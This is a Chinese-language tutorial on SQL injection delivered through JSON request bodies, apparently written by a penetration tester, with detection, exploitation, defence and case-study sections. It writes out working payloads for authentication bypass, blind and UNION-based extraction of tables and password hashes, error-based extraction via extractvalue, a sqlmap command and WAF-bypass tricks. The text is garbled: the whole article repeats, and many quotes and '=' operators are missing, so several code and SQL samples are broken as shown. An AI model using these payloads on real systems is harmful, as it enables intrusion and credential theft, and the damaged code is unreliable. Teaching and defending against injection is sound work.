1. JSON注入当SQL注入穿上“新衣”在Web安全领域SQL注入SQL Injection早已是“老生常谈”的漏洞类型但凡有点经验的开发者或安全测试人员都能对‘ or ‘1’‘1这类经典Payload倒背如流。然而随着前后端分离架构和RESTful API的普及JSONJavaScript Object Notation格式的数据交互已成为绝对的主流。攻击面也随之发生了迁移——传统的SQL注入攻击开始披上了一件名为“JSON”的新外衣。这就是我们今天要深入探讨的JSON注入。简单来说JSON注入是SQL注入的一种特殊形式。它的攻击原理与传统SQL注入并无二致核心都是“将用户输入的数据当作代码来执行”。区别在于攻击载荷Payload的载体和注入点发生了变化从传统的application/x-www-form-urlencoded或multipart/form-data格式的表单参数变成了application/json格式的HTTP请求体。很多开发者在处理JSON数据时安全意识还停留在“解析出参数再过滤”的旧思维或者过度依赖框架的“自动绑定”功能从而在参数解析的源头就留下了安全隐患。对于攻击者而言这扇“新门”可能比旧门防守更松懈。这篇文章我将从一个实战渗透测试工程师的角度带你彻底拆解JSON注入。我们不仅会讲清楚它的原理、与普通SQL注入的异同更会通过模拟真实漏洞场景手把手演示如何发现、利用和防御这种漏洞。无论你是正在学习Web安全的初学者还是想巩固自身防御体系的开发人员相信这篇超过5000字的深度解析都能让你有所收获。2. 核心原理JSON数据流中的SQL指令“走私”要理解JSON注入我们必须先厘清一个典型的数据处理流程。在现代Web应用中一个基于JSON的API接口处理用户请求时数据流通常经历以下环节客户端构造请求前端或API调用方将一个JSON对象序列化为字符串放入HTTP请求的Body中并设置Content-Type: application/json。服务器接收与解析后端服务如Java Spring、Python Flask、PHP Laravel、Node.js Express等的Web框架接收到请求调用内置或配置的JSON解析器如Jackson、Gson、json_decode、body-parser将字符串还原为内存中的对象或字典。参数提取与绑定框架或开发者代码从解析后的对象中提取出具体的参数值例如username、searchKeyword、productId等。数据库查询将这些参数值拼接到SQL语句中发送给数据库执行。JSON注入的致命漏洞就潜伏在第3步到第4步之间。关键在于开发者是否在参数值被拼接到SQL语句前对其进行了充分的、上下文相关的安全处理2.1 漏洞产生的典型场景让我们看一个极度危险但非常常见的错误代码示例以PHP为例但思想通用// 错误示例直接拼接JSON解析后的参数 $input json_decode(file_get_contents(php://input), true); // 解析JSON请求体 $username $input[username]; $password $input[password]; $sql SELECT * FROM users WHERE username $username AND password $password; $result mysqli_query($conn, $sql);在这段代码中开发者直接从$_POST超全局数组转向了从json_decode()的结果中取参数。他们可能认为“我已经用了json_decode这是标准解析没问题。” 或者“框架的自动绑定如Spring的RequestBody会帮我处理好类型。” 这种想法是致命的。json_decode只负责语法解析将字符串{username: admin, password: 123456}变成关联数组它绝不负责安全过滤。假设攻击者发送以下JSON请求体{ username: admin, password: OR 11 }经过json_decode后$password的值就是字符串‘ OR ‘1’‘1。当这个值被直接拼接到SQL语句中后最终的查询语句就变成了SELECT * FROM users WHERE username admin AND password OR 11由于‘1’‘1‘恒为真这条语句将绕过密码验证返回用户表中的所有数据或第一条数据导致认证被绕过。这就是最经典的JSON注入。2.2 与普通SQL注入的异同点特性传统SQL注入JSON注入攻击载荷载体URL查询字符串、POST表单字段、HTTP头如CookieHTTP请求体Body中的JSON字符串Content-Typeapplication/x-www-form-urlencoded,multipart/form-dataapplication/json服务器处理通常由Web服务器或框架自动解析到$_GET、$_POST等超全局变量需要显式调用JSON解析器如json_decode或依赖框架自动绑定WAF/IDS检测难度相对容易规则成熟对URL和表单参数扫描深入可能更难早期WAF可能不深入扫描JSON Body或解析JSON格式有误开发者盲点警惕性较高普遍知道需要过滤$_GET和$_POST警惕性较低容易认为“JSON是结构化数据更安全”或过度信任框架漏洞本质完全相同未对用户输入进行正确的过滤、转义或参数化导致输入被解释为SQL代码。关键认知JSON注入不是一种新的漏洞类型而是SQL注入在新时代、新数据格式下的“新皮肤”。防御的核心思想没有丝毫改变——永远不要信任用户输入。3. 实战挖掘如何发现并利用JSON注入点知道了原理我们该如何在实战中寻找这样的漏洞呢这个过程可以系统性地分为信息收集、漏洞探测、漏洞利用和权限提升四个阶段。3.1 信息收集与目标识别接口枚举使用爬虫工具如Burp Suite的爬虫、OWASP ZAP或主动扫描收集应用的所有API端点。重点关注那些使用POST、PUT、PATCH方法且Content-Type为application/json的接口。功能点分析哪些功能最可能拼接SQL语句登录/认证/api/login,/auth/token搜索/查询/api/search,/query/data, 带过滤条件的列表查询用户资料更新/api/user/update订单/商品操作/api/order/create,/product/list参数推测通过正常业务操作抓取请求包分析JSON结构。常见的注入参数名包括id,username,keyword,name,title,orderBy,sort等。3.2 漏洞探测与指纹识别探测的核心是向JSON参数中插入各种SQL注入测试Payload并观察应用响应。这里有几个关键技巧使用工具Burp Suite的Intruder或Repeater模块是绝佳选择。将请求发送到Repeater手动修改JSON值进行测试。测试Payload基础探测在参数值后添加单引号‘、双引号“、反斜杠\观察是否出现数据库错误如MySQL、PostgreSQL、SQL Server的特定错误信息。这是判断是否存在注入点的最快方法。请求{id: 1‘}观察响应是否包含“You have an error in your SQL syntax...”或程序返回了异常的500状态码。逻辑测试使用AND ‘1’‘1和AND ‘1’‘2测试布尔逻辑。请求1{search: apple‘ AND ‘1’‘1}请求2{search: apple‘ AND ‘1’‘2}观察两个请求返回的结果集是否不同。如果不同则存在布尔盲注的可能。时间盲注测试对于无错误回显的情况使用sleep()或benchmark()函数。请求{id: 1‘ AND SLEEP(5)-- }观察响应时间是否明显延迟了大约5秒。实操心得在修改JSON时务必保证修改后的JSON语法仍然是正确的。例如如果原值是字符串你注入1‘ AND ‘1’‘1后整体还是合法的JSON字符串。如果原值是数字你注入1 AND 11可能破坏JSON格式因为1 AND 11不是合法数字此时需要将参数值类型从数字改为字符串即“1 AND 11”。很多新手在这里会踩坑。3.3 漏洞利用从注入到数据获取一旦确认注入点利用方式就和传统SQL注入一模一样了。我们以基于错误的注入为例演示如何获取数据库信息。场景一个用户查询接口/api/user/profile接受JSON{“userId”: 123}。测试发现userId参数存在数字型注入。判断列数ORDER BY发送{“userId”: “1 ORDER BY 5-- “}注意将数字改为字符串如果返回正常ORDER BY 6--时出错则说明有5列。联合查询获取数据UNION SELECT假设有5列我们想让第2、3列显示在页面上。发送{“userId”: “-1 UNION SELECT 1, database(), user(), version(), 5-- “}观察响应可能直接显示出当前数据库名、用户和版本信息。获取表名、列名利用数据库的元数据表。以MySQL为例{“userId”: “-1 UNION SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1-- “}通过遍历LIMIT参数可以爆出所有表名如users,admins,passwords。拖取数据假设我们找到了users表猜测有username和password列。{“userId”: “-1 UNION SELECT 1, username, password, 4, 5 FROM users LIMIT 0,1-- “}注意事项在JSON中进行联合查询注入时要特别注意数据类型。如果后端代码期望userId是整数而你用UNION SELECT返回了一个字符串在对应位置可能会导致类型转换错误或查询失败。此时需要尝试NULL或转换函数如{“userId”: “-1 UNION SELECT 1, CONCAT(username, ‘:’, password), 3, 4, 5 FROM users-- “}并将注入点参数改为字符串类型。3.4 自动化工具与绕过技巧sqlmap这款神器同样支持JSON注入。你需要使用--data参数指定JSON数据并用*标记注入点。sqlmap -u http://target.com/api/user/profile --data{userId:*} --headersContent-Type: application/json --batchsqlmap会自动处理JSON格式和注入点标记进行全自动探测和利用。WAF绕过针对JSON格式一些特殊的绕过技巧可能生效JSON语法变异插入多余的逗号、换行符、制表符。某些蹩脚的WAF解析JSON的规则可能比应用服务器更严格。{id:1,/*注释*/username:admin-- }Unicode转义将关键字符进行Unicode转义。例如单引号‘可以写成\u0027。这取决于后端在JSON解析后是否对字符串进行解码。{username:admin\u0027 OR \u00271\u0027\u00271}参数污染在JSON中提交同一个键的多个值虽然不符合标准如{id:1, id: 1‘ AND SLEEP(5)”}。不同语言的解析库处理方式不同可能造成WAF和应用解析结果不一致。4. 防御之道从源头杜绝JSON注入防御JSON注入必须采取纵深防御策略在数据流的每一个环节都设置关卡。4.1 第一道防线使用参数化查询预编译语句这是唯一从根本上解决SQL注入的方法。它的原理是将SQL代码与数据分离。你提前定义好带有占位符如?、name的SQL语句模板然后将用户输入的数据作为参数单独传递给数据库驱动。数据库驱动会确保参数值只被当作数据来处理绝不会被解释为SQL代码。各语言示例PHP (PDO):$stmt $pdo-prepare(SELECT * FROM users WHERE username :username AND password :password); $stmt-execute([ :username $input[username], // 直接使用无需转义 :password $input[password] ]); $user $stmt-fetch();Python (sqlite3 / MySQLdb):cursor.execute(SELECT * FROM users WHERE username %s AND password %s, (username, password))Java (JDBC):PreparedStatement stmt conn.prepareStatement(SELECT * FROM users WHERE username ? AND password ?); stmt.setString(1, username); stmt.setString(2, password); ResultSet rs stmt.executeQuery();Node.js (mysql2):connection.execute(SELECT * FROM users WHERE username ? AND password ?, [username, password], (err, results) { ... });核心要点无论你的参数来自$_POST、$_GET还是JSON解析后的对象都必须使用参数化查询。这是铁律。4.2 第二道防线使用安全的ORM框架对象关系映射ORM框架如Java的MyBatis需配合#{}、Hibernate Python的SQLAlchemy PHP的Eloquent Node.js的Sequelize、TypeORM等在正确使用时内部也是基于参数化查询。关键区别安全MyBatis的#{}语法是参数化查询而${}是字符串拼接存在注入风险。!-- 安全 -- select idfindUser resultTypeUser SELECT * FROM user WHERE username #{username} /select !-- 危险 -- select idfindUser resultTypeUser SELECT * FROM user WHERE username ${username} /select切勿在ORM中拼接字符串即使使用ORM也绝对不要用字符串格式化或拼接的方式来构造查询条件。4.3 第三道防线严格的输入验证与类型转换在将数据送入SQL之前进行严格的业务逻辑验证。类型强制转换如果参数应该是数字在代码中尽早将其转换为整型。$userId (int) $input[userId]; // 非数字会变成0或1 // 或者进行校验 if (!is_numeric($input[userId])) { throw new InvalidArgumentException(Invalid user ID); }白名单验证对于像排序字段orderBy、状态码这类有限集合的参数使用白名单。allowed_order_fields {id, name, created_at} order_by request.json.get(orderBy, id) if order_by not in allowed_order_fields: order_by id长度与格式限制对用户名、邮箱、手机号等设置合理的长度和格式正则校验。4.4 第四道防线最小权限原则与数据库加固应用数据库账户为Web应用配置的数据库连接账户只授予其完成业务所需的最小权限通常是SELECT,INSERT,UPDATE,DELETE坚决不要授予DROP,CREATE,ALTER,FILE等高危权限。存储过程对于复杂查询可以考虑使用存储过程但同样要注意在存储过程内部避免动态SQL拼接。定期更新与漏洞扫描保持数据库、Web框架、JSON解析库等所有组件的更新。使用DAST动态应用安全测试工具定期对API接口进行安全扫描。4.5 Web应用防火墙WAF的定位WAF可以作为最后一道检测和缓解的防线但绝不能作为主要的防御手段。一个配置得当的WAF可以拦截大量已知的、自动化的攻击Payload。但对于精心构造的、针对特定业务逻辑的注入WAF很可能被绕过。安全的核心永远是“安全编码”WAF只是“安全带”不是“安全驾驶技术”。5. 案例复盘一个真实的JSON注入漏洞挖掘记录去年在一次授权渗透测试中我遇到了一个非常典型的JSON注入案例。目标是一个新兴的SaaS平台管理后台其API全部采用JSON通信。初步探测通过Burp抓包我发现一个查询日志的接口POST /api/admin/queryLog其JSON结构为{“filters”: {“operator”: “eq”, “field”: “username”, “value”: “admin”}, “page”: 1}。这看起来是一个通用的查询构建器。漏洞发现我尝试修改value值为admin‘请求后返回了详细的MySQL错误信息直接暴露了表结构的一部分。确认存在基于错误的注入。利用过程由于是POST请求我直接在Burp Repeater中操作。我首先尝试了联合查询但发现页面只返回了data字段其他字段不显示。于是转向基于错误的注入利用extractvalue()函数进行报错回显。Payload:{“filters”: {“operator”: “eq”, “field”: “username”, “value”: “admin‘ AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) AND ‘1’‘1”}}响应中包含了XPATH syntax error: ‘~saas_platform_prod~‘成功获取数据库名。数据获取随后我通过同样的报错注入逐步获取了所有表名、列名并最终拖出了管理员用户表的哈希密码。整个过程中后端没有对field和value参数做任何过滤直接拼接到了WHERE子句中。漏洞根源与开发团队沟通后得知他们为了实现灵活的动态查询自己编写了一个SQL构建器。这个构建器虽然对field做了白名单映射防止查询非预期字段但对value的值完全信任直接使用字符串拼接导致了注入漏洞。修复建议我向他们提供了三个方案1. 重构查询构建器对value也采用参数化查询2. 放弃部分灵活性将operator和field的组合固定为有限的几种查询模式3. 使用更安全的、经过审计的查询构建库如Java的QueryDSL。他们最终选择了方案1和3的结合。6. 针对特定框架的注意事项不同的Web框架在处理JSON和数据库交互时有各自的特点和坑点。Spring Boot (Java)RequestBody自动绑定非常方便但绑定后的对象属性如果直接用于拼接SQL同样危险。务必使用JPA的Query配合参数索引?1或命名参数:name或使用JdbcTemplate的NamedParameterJdbcTemplate。警惕SpEL表达式注入它与SQL注入不同但同样危险。Express (Node.js)使用body-parser或Express内置的express.json()中间件后数据在req.body中。避免使用字符串模板或操作符拼接SQL。坚持使用mysql2的execute或query的?占位符或ORM的参数化方法。Laravel (PHP)Eloquent ORM和查询构造器默认是参数化的非常安全。但是如果你使用了DB::raw()或whereRaw()等方法就必须手动处理参数绑定。// 危险 $users DB::table(users)-whereRaw(username . $request-input(name) . )-get(); // 安全 $users DB::table(users)-whereRaw(username ?, [$request-input(name)])-get();Django (Python)Django的ORM是高度安全的几乎消除了SQL注入的可能。唯一的风险点是使用extra()或RawSQL()时需要格外小心确保用户输入不被直接放入SQL字符串。JSON注入的威胁真实而普遍它利用了开发者在新技术栈下的思维滞后。防御的关键不在于识别数据是来自表单还是JSON而在于时刻铭记“数据即代码”的威胁模型并在任何数据与SQL指令交汇的地方坚定不移地使用参数化查询。作为开发者请在每一次编写数据库查询代码时都条件反射般地思考我用的方法是拼接字符串还是传递参数作为安全人员在测试现代Web应用时请务必把你的测试Payload塞进那个看似规整的JSON Body里去看看。 JSON注入漏洞深度解析：原理、实战与防御
1. JSON注入当SQL注入穿上“新衣”在Web安全领域SQL注入SQL Injection早已是“老生常谈”的漏洞类型但凡有点经验的开发者或安全测试人员都能对‘ or ‘1’‘1这类经典Payload倒背如流。然而随着前后端分离架构和RESTful API的普及JSONJavaScript Object Notation格式的数据交互已成为绝对的主流。攻击面也随之发生了迁移——传统的SQL注入攻击开始披上了一件名为“JSON”的新外衣。这就是我们今天要深入探讨的JSON注入。简单来说JSON注入是SQL注入的一种特殊形式。它的攻击原理与传统SQL注入并无二致核心都是“将用户输入的数据当作代码来执行”。区别在于攻击载荷Payload的载体和注入点发生了变化从传统的application/x-www-form-urlencoded或multipart/form-data格式的表单参数变成了application/json格式的HTTP请求体。很多开发者在处理JSON数据时安全意识还停留在“解析出参数再过滤”的旧思维或者过度依赖框架的“自动绑定”功能从而在参数解析的源头就留下了安全隐患。对于攻击者而言这扇“新门”可能比旧门防守更松懈。这篇文章我将从一个实战渗透测试工程师的角度带你彻底拆解JSON注入。我们不仅会讲清楚它的原理、与普通SQL注入的异同更会通过模拟真实漏洞场景手把手演示如何发现、利用和防御这种漏洞。无论你是正在学习Web安全的初学者还是想巩固自身防御体系的开发人员相信这篇超过5000字的深度解析都能让你有所收获。2. 核心原理JSON数据流中的SQL指令“走私”要理解JSON注入我们必须先厘清一个典型的数据处理流程。在现代Web应用中一个基于JSON的API接口处理用户请求时数据流通常经历以下环节客户端构造请求前端或API调用方将一个JSON对象序列化为字符串放入HTTP请求的Body中并设置Content-Type: application/json。服务器接收与解析后端服务如Java Spring、Python Flask、PHP Laravel、Node.js Express等的Web框架接收到请求调用内置或配置的JSON解析器如Jackson、Gson、json_decode、body-parser将字符串还原为内存中的对象或字典。参数提取与绑定框架或开发者代码从解析后的对象中提取出具体的参数值例如username、searchKeyword、productId等。数据库查询将这些参数值拼接到SQL语句中发送给数据库执行。JSON注入的致命漏洞就潜伏在第3步到第4步之间。关键在于开发者是否在参数值被拼接到SQL语句前对其进行了充分的、上下文相关的安全处理2.1 漏洞产生的典型场景让我们看一个极度危险但非常常见的错误代码示例以PHP为例但思想通用// 错误示例直接拼接JSON解析后的参数 $input json_decode(file_get_contents(php://input), true); // 解析JSON请求体 $username $input[username]; $password $input[password]; $sql SELECT * FROM users WHERE username $username AND password $password; $result mysqli_query($conn, $sql);在这段代码中开发者直接从$_POST超全局数组转向了从json_decode()的结果中取参数。他们可能认为“我已经用了json_decode这是标准解析没问题。” 或者“框架的自动绑定如Spring的RequestBody会帮我处理好类型。” 这种想法是致命的。json_decode只负责语法解析将字符串{username: admin, password: 123456}变成关联数组它绝不负责安全过滤。假设攻击者发送以下JSON请求体{ username: admin, password: OR 11 }经过json_decode后$password的值就是字符串‘ OR ‘1’‘1。当这个值被直接拼接到SQL语句中后最终的查询语句就变成了SELECT * FROM users WHERE username admin AND password OR 11由于‘1’‘1‘恒为真这条语句将绕过密码验证返回用户表中的所有数据或第一条数据导致认证被绕过。这就是最经典的JSON注入。2.2 与普通SQL注入的异同点特性传统SQL注入JSON注入攻击载荷载体URL查询字符串、POST表单字段、HTTP头如CookieHTTP请求体Body中的JSON字符串Content-Typeapplication/x-www-form-urlencoded,multipart/form-dataapplication/json服务器处理通常由Web服务器或框架自动解析到$_GET、$_POST等超全局变量需要显式调用JSON解析器如json_decode或依赖框架自动绑定WAF/IDS检测难度相对容易规则成熟对URL和表单参数扫描深入可能更难早期WAF可能不深入扫描JSON Body或解析JSON格式有误开发者盲点警惕性较高普遍知道需要过滤$_GET和$_POST警惕性较低容易认为“JSON是结构化数据更安全”或过度信任框架漏洞本质完全相同未对用户输入进行正确的过滤、转义或参数化导致输入被解释为SQL代码。关键认知JSON注入不是一种新的漏洞类型而是SQL注入在新时代、新数据格式下的“新皮肤”。防御的核心思想没有丝毫改变——永远不要信任用户输入。3. 实战挖掘如何发现并利用JSON注入点知道了原理我们该如何在实战中寻找这样的漏洞呢这个过程可以系统性地分为信息收集、漏洞探测、漏洞利用和权限提升四个阶段。3.1 信息收集与目标识别接口枚举使用爬虫工具如Burp Suite的爬虫、OWASP ZAP或主动扫描收集应用的所有API端点。重点关注那些使用POST、PUT、PATCH方法且Content-Type为application/json的接口。功能点分析哪些功能最可能拼接SQL语句登录/认证/api/login,/auth/token搜索/查询/api/search,/query/data, 带过滤条件的列表查询用户资料更新/api/user/update订单/商品操作/api/order/create,/product/list参数推测通过正常业务操作抓取请求包分析JSON结构。常见的注入参数名包括id,username,keyword,name,title,orderBy,sort等。3.2 漏洞探测与指纹识别探测的核心是向JSON参数中插入各种SQL注入测试Payload并观察应用响应。这里有几个关键技巧使用工具Burp Suite的Intruder或Repeater模块是绝佳选择。将请求发送到Repeater手动修改JSON值进行测试。测试Payload基础探测在参数值后添加单引号‘、双引号“、反斜杠\观察是否出现数据库错误如MySQL、PostgreSQL、SQL Server的特定错误信息。这是判断是否存在注入点的最快方法。请求{id: 1‘}观察响应是否包含“You have an error in your SQL syntax...”或程序返回了异常的500状态码。逻辑测试使用AND ‘1’‘1和AND ‘1’‘2测试布尔逻辑。请求1{search: apple‘ AND ‘1’‘1}请求2{search: apple‘ AND ‘1’‘2}观察两个请求返回的结果集是否不同。如果不同则存在布尔盲注的可能。时间盲注测试对于无错误回显的情况使用sleep()或benchmark()函数。请求{id: 1‘ AND SLEEP(5)-- }观察响应时间是否明显延迟了大约5秒。实操心得在修改JSON时务必保证修改后的JSON语法仍然是正确的。例如如果原值是字符串你注入1‘ AND ‘1’‘1后整体还是合法的JSON字符串。如果原值是数字你注入1 AND 11可能破坏JSON格式因为1 AND 11不是合法数字此时需要将参数值类型从数字改为字符串即“1 AND 11”。很多新手在这里会踩坑。3.3 漏洞利用从注入到数据获取一旦确认注入点利用方式就和传统SQL注入一模一样了。我们以基于错误的注入为例演示如何获取数据库信息。场景一个用户查询接口/api/user/profile接受JSON{“userId”: 123}。测试发现userId参数存在数字型注入。判断列数ORDER BY发送{“userId”: “1 ORDER BY 5-- “}注意将数字改为字符串如果返回正常ORDER BY 6--时出错则说明有5列。联合查询获取数据UNION SELECT假设有5列我们想让第2、3列显示在页面上。发送{“userId”: “-1 UNION SELECT 1, database(), user(), version(), 5-- “}观察响应可能直接显示出当前数据库名、用户和版本信息。获取表名、列名利用数据库的元数据表。以MySQL为例{“userId”: “-1 UNION SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1-- “}通过遍历LIMIT参数可以爆出所有表名如users,admins,passwords。拖取数据假设我们找到了users表猜测有username和password列。{“userId”: “-1 UNION SELECT 1, username, password, 4, 5 FROM users LIMIT 0,1-- “}注意事项在JSON中进行联合查询注入时要特别注意数据类型。如果后端代码期望userId是整数而你用UNION SELECT返回了一个字符串在对应位置可能会导致类型转换错误或查询失败。此时需要尝试NULL或转换函数如{“userId”: “-1 UNION SELECT 1, CONCAT(username, ‘:’, password), 3, 4, 5 FROM users-- “}并将注入点参数改为字符串类型。3.4 自动化工具与绕过技巧sqlmap这款神器同样支持JSON注入。你需要使用--data参数指定JSON数据并用*标记注入点。sqlmap -u http://target.com/api/user/profile --data{userId:*} --headersContent-Type: application/json --batchsqlmap会自动处理JSON格式和注入点标记进行全自动探测和利用。WAF绕过针对JSON格式一些特殊的绕过技巧可能生效JSON语法变异插入多余的逗号、换行符、制表符。某些蹩脚的WAF解析JSON的规则可能比应用服务器更严格。{id:1,/*注释*/username:admin-- }Unicode转义将关键字符进行Unicode转义。例如单引号‘可以写成\u0027。这取决于后端在JSON解析后是否对字符串进行解码。{username:admin\u0027 OR \u00271\u0027\u00271}参数污染在JSON中提交同一个键的多个值虽然不符合标准如{id:1, id: 1‘ AND SLEEP(5)”}。不同语言的解析库处理方式不同可能造成WAF和应用解析结果不一致。4. 防御之道从源头杜绝JSON注入防御JSON注入必须采取纵深防御策略在数据流的每一个环节都设置关卡。4.1 第一道防线使用参数化查询预编译语句这是唯一从根本上解决SQL注入的方法。它的原理是将SQL代码与数据分离。你提前定义好带有占位符如?、name的SQL语句模板然后将用户输入的数据作为参数单独传递给数据库驱动。数据库驱动会确保参数值只被当作数据来处理绝不会被解释为SQL代码。各语言示例PHP (PDO):$stmt $pdo-prepare(SELECT * FROM users WHERE username :username AND password :password); $stmt-execute([ :username $input[username], // 直接使用无需转义 :password $input[password] ]); $user $stmt-fetch();Python (sqlite3 / MySQLdb):cursor.execute(SELECT * FROM users WHERE username %s AND password %s, (username, password))Java (JDBC):PreparedStatement stmt conn.prepareStatement(SELECT * FROM users WHERE username ? AND password ?); stmt.setString(1, username); stmt.setString(2, password); ResultSet rs stmt.executeQuery();Node.js (mysql2):connection.execute(SELECT * FROM users WHERE username ? AND password ?, [username, password], (err, results) { ... });核心要点无论你的参数来自$_POST、$_GET还是JSON解析后的对象都必须使用参数化查询。这是铁律。4.2 第二道防线使用安全的ORM框架对象关系映射ORM框架如Java的MyBatis需配合#{}、Hibernate Python的SQLAlchemy PHP的Eloquent Node.js的Sequelize、TypeORM等在正确使用时内部也是基于参数化查询。关键区别安全MyBatis的#{}语法是参数化查询而${}是字符串拼接存在注入风险。!-- 安全 -- select idfindUser resultTypeUser SELECT * FROM user WHERE username #{username} /select !-- 危险 -- select idfindUser resultTypeUser SELECT * FROM user WHERE username ${username} /select切勿在ORM中拼接字符串即使使用ORM也绝对不要用字符串格式化或拼接的方式来构造查询条件。4.3 第三道防线严格的输入验证与类型转换在将数据送入SQL之前进行严格的业务逻辑验证。类型强制转换如果参数应该是数字在代码中尽早将其转换为整型。$userId (int) $input[userId]; // 非数字会变成0或1 // 或者进行校验 if (!is_numeric($input[userId])) { throw new InvalidArgumentException(Invalid user ID); }白名单验证对于像排序字段orderBy、状态码这类有限集合的参数使用白名单。allowed_order_fields {id, name, created_at} order_by request.json.get(orderBy, id) if order_by not in allowed_order_fields: order_by id长度与格式限制对用户名、邮箱、手机号等设置合理的长度和格式正则校验。4.4 第四道防线最小权限原则与数据库加固应用数据库账户为Web应用配置的数据库连接账户只授予其完成业务所需的最小权限通常是SELECT,INSERT,UPDATE,DELETE坚决不要授予DROP,CREATE,ALTER,FILE等高危权限。存储过程对于复杂查询可以考虑使用存储过程但同样要注意在存储过程内部避免动态SQL拼接。定期更新与漏洞扫描保持数据库、Web框架、JSON解析库等所有组件的更新。使用DAST动态应用安全测试工具定期对API接口进行安全扫描。4.5 Web应用防火墙WAF的定位WAF可以作为最后一道检测和缓解的防线但绝不能作为主要的防御手段。一个配置得当的WAF可以拦截大量已知的、自动化的攻击Payload。但对于精心构造的、针对特定业务逻辑的注入WAF很可能被绕过。安全的核心永远是“安全编码”WAF只是“安全带”不是“安全驾驶技术”。5. 案例复盘一个真实的JSON注入漏洞挖掘记录去年在一次授权渗透测试中我遇到了一个非常典型的JSON注入案例。目标是一个新兴的SaaS平台管理后台其API全部采用JSON通信。初步探测通过Burp抓包我发现一个查询日志的接口POST /api/admin/queryLog其JSON结构为{“filters”: {“operator”: “eq”, “field”: “username”, “value”: “admin”}, “page”: 1}。这看起来是一个通用的查询构建器。漏洞发现我尝试修改value值为admin‘请求后返回了详细的MySQL错误信息直接暴露了表结构的一部分。确认存在基于错误的注入。利用过程由于是POST请求我直接在Burp Repeater中操作。我首先尝试了联合查询但发现页面只返回了data字段其他字段不显示。于是转向基于错误的注入利用extractvalue()函数进行报错回显。Payload:{“filters”: {“operator”: “eq”, “field”: “username”, “value”: “admin‘ AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) AND ‘1’‘1”}}响应中包含了XPATH syntax error: ‘~saas_platform_prod~‘成功获取数据库名。数据获取随后我通过同样的报错注入逐步获取了所有表名、列名并最终拖出了管理员用户表的哈希密码。整个过程中后端没有对field和value参数做任何过滤直接拼接到了WHERE子句中。漏洞根源与开发团队沟通后得知他们为了实现灵活的动态查询自己编写了一个SQL构建器。这个构建器虽然对field做了白名单映射防止查询非预期字段但对value的值完全信任直接使用字符串拼接导致了注入漏洞。修复建议我向他们提供了三个方案1. 重构查询构建器对value也采用参数化查询2. 放弃部分灵活性将operator和field的组合固定为有限的几种查询模式3. 使用更安全的、经过审计的查询构建库如Java的QueryDSL。他们最终选择了方案1和3的结合。6. 针对特定框架的注意事项不同的Web框架在处理JSON和数据库交互时有各自的特点和坑点。Spring Boot (Java)RequestBody自动绑定非常方便但绑定后的对象属性如果直接用于拼接SQL同样危险。务必使用JPA的Query配合参数索引?1或命名参数:name或使用JdbcTemplate的NamedParameterJdbcTemplate。警惕SpEL表达式注入它与SQL注入不同但同样危险。Express (Node.js)使用body-parser或Express内置的express.json()中间件后数据在req.body中。避免使用字符串模板或操作符拼接SQL。坚持使用mysql2的execute或query的?占位符或ORM的参数化方法。Laravel (PHP)Eloquent ORM和查询构造器默认是参数化的非常安全。但是如果你使用了DB::raw()或whereRaw()等方法就必须手动处理参数绑定。// 危险 $users DB::table(users)-whereRaw(username . $request-input(name) . )-get(); // 安全 $users DB::table(users)-whereRaw(username ?, [$request-input(name)])-get();Django (Python)Django的ORM是高度安全的几乎消除了SQL注入的可能。唯一的风险点是使用extra()或RawSQL()时需要格外小心确保用户输入不被直接放入SQL字符串。JSON注入的威胁真实而普遍它利用了开发者在新技术栈下的思维滞后。防御的关键不在于识别数据是来自表单还是JSON而在于时刻铭记“数据即代码”的威胁模型并在任何数据与SQL指令交汇的地方坚定不移地使用参数化查询。作为开发者请在每一次编写数据库查询代码时都条件反射般地思考我用的方法是拼接字符串还是传递参数作为安全人员在测试现代Web应用时请务必把你的测试Payload塞进那个看似规整的JSON Body里去看看。